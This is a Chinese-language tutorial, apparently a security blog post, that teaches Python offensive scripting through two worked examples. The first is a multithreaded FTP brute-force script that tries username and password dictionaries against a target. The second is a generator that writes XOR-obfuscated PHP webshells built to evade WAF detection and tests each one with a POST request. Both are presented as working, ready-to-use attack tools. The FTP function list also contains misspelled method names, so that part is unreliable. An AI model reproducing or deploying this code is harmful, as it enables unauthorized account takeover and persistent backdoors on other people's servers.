目录

本次学习知识点

学习目的

多线程FUZZ

案例一:利用FTP模块实现协议爆破脚本+简单多线程技术

Ftplib模块

Python多线程知识点

异或免杀webshell

案例二:配合FUZZ实现免杀异或Shell脚本

php异或知识点


此后如竟没有炬火,我便是唯一的光。

本次学习知识点

协议模块使用,Request爬虫技术,建议多线程技术,编码技术,Bypass后门技术

学习目的

掌握利用强大的模块实现各种协议连接操作(爆破或者利用等),配合FUZZ吊打WAF等

多线程FUZZ

案例一:利用FTP模块实现协议爆破脚本+简单多线程技术

Ftplib模块

ftp爆破需要的参数:IP、端口、用户名、密码字典

思路:

  1. 连接ftp服务需要输入的内容(参数)有:IP地址、端口号(默认是21,有可能更改)、用户名、以及密码字典
  2. 实现:使用Python的ftplib模块可以实现ftp登录,登录输入的参数,如上面的参数。

ftp常用函数:

from ftplib import FTP                #加载ftp模块

ftp = FTP()                                 # 设置变量

ftp.encoding = 'gbk'                   #支持中文路径和文件名

ftp.set_debuglevel(2)                ##打开调试级别2,显示详细信息

ftp.connect("IP","port)               #连接的ftp sever和端口
ftp.login( "user" ,"password")    #连接的用户名,密码
print ftp.getwelcome()               #打印出欢迎信息
ftp.cmd( "xxx/xxx")                   #进入远程目录
bufsize=1024                            #设置的缓冲区大小
filename="filename.txt"             #需要下载的文件
file_handle=open(filename, "wb " ).write                 #以写模式在本地打开文件
ftp.retrbinaly("RETR filename.txt",file_handle,bufsize)         #接收服务器上文件并写入文件ftp.set_debuglevel(0)                #关闭调试模式
ftp.quit()                                    #退出ftp
ftp.cwd(pathname)                   #设置FTP当前操作的路径
ftp.dir()                                     #显示目录下所有目录信息
ftp.nlst()                                   #获取目录下的文件
ftp.mkd(pathname)                 #新建远程目录
ftp.pwd()                               #返回当前所在位置
ftp.rmd(dirname)                   #删除远程目录
ftp.delete(filename)                #删除远程文件
ftp.rename(fromname,toname)                        #将fromname修改名称为toname。
ftp.storbinaly( "STOR filename.txt" ,file_handel,bufsize)                #上传目标文件

Python多线程知识点

具体代码实现:

import ftplib
import sys
import threading
import queue


#简单的模拟登录测试
#爆破:IP,端口。用户名,密码字典
def ftp_check(ip,port):
    ftp = ftplib.FTP()
    ftp.connect(ip, int(port))
    while not q.empty():
        userpass = q.get()
        userpass = userpass.split('|')
        username = userpass[0]
        password = userpass[1]
        #print(username+' '+password)
        try:
            ftp.login(username, password)
            list = ftp.retrlines('list')
            print('-----------------------connection successful!------------------------------')
            print(username + '|' + password)
            print(list)
        except ftplib.all_errors:
            pass

if __name__ =='__main__':
    ip = sys.argv[1]
    port = sys.argv[2]
    user = sys.argv[3]
    passwd = sys.argv[4]
    threading_num = sys.argv[5]
    q = queue.Queue()
    for username in open(user):
        for password in open(passwd):
            username = username.replace('\n','')
            password = password.replace('\n','')
            #print(username+'|'+password)
            q.put(username+'|'+password)
    for x in range(int(threading_num)):
        t = threading.Thread(target=ftp_check,args=(ip,int(port)))
        t.start()
    #print(ip+'|'+port+'|'+user+'|'+passwd)

python网络安全工具 python网络安全应用_python网络安全工具

FTP服务器日志中便记载到了成功登录的信息。 

异或免杀webshell

案例二:配合FUZZ实现免杀异或Shell脚本

php异或知识点

参考文章: 

具体实现代码

import requests

'''
        通过Python来制作免杀的webshell后门脚本文件

'''

for i in range(1,128):
    for j in range(1,128):
        #print(chr(i)+'|'+chr(j))
        code = "<?php $a=('"+chr(i)+"'^'"+chr(j)+"').ssert;$a($_POST[x]);?>"
        #<?php $a=("!"^"@").ssert;$a($_POST[x]);?>
        with open("D:/phpstudy_pro/WWW/webshell_re/"+str(i)+"res"+str(j)+".php","a+") as f:
            f.write(code)
            f.close()

        url = 'http://127.0.0.1/webshell_re/'+str(i)+'res'+str(j)+'.php'
        data={
            'x':'phpinfo();'
        }
        result = requests.post(url,data=data)
        if 'LAPTOP-S1ULNFSN' in result.text:
            print(str(i)+'res'+str(j)+'.php'+' | OK')

python网络安全工具 python网络安全应用_python网络安全工具_02

上面便通过生成的后门文件来执行phpinfo,成功执行。当然发现了通过异或操作得到a的方法,有很多种,如下生成的php文件都是有效的。

python网络安全工具 python网络安全应用_学习_03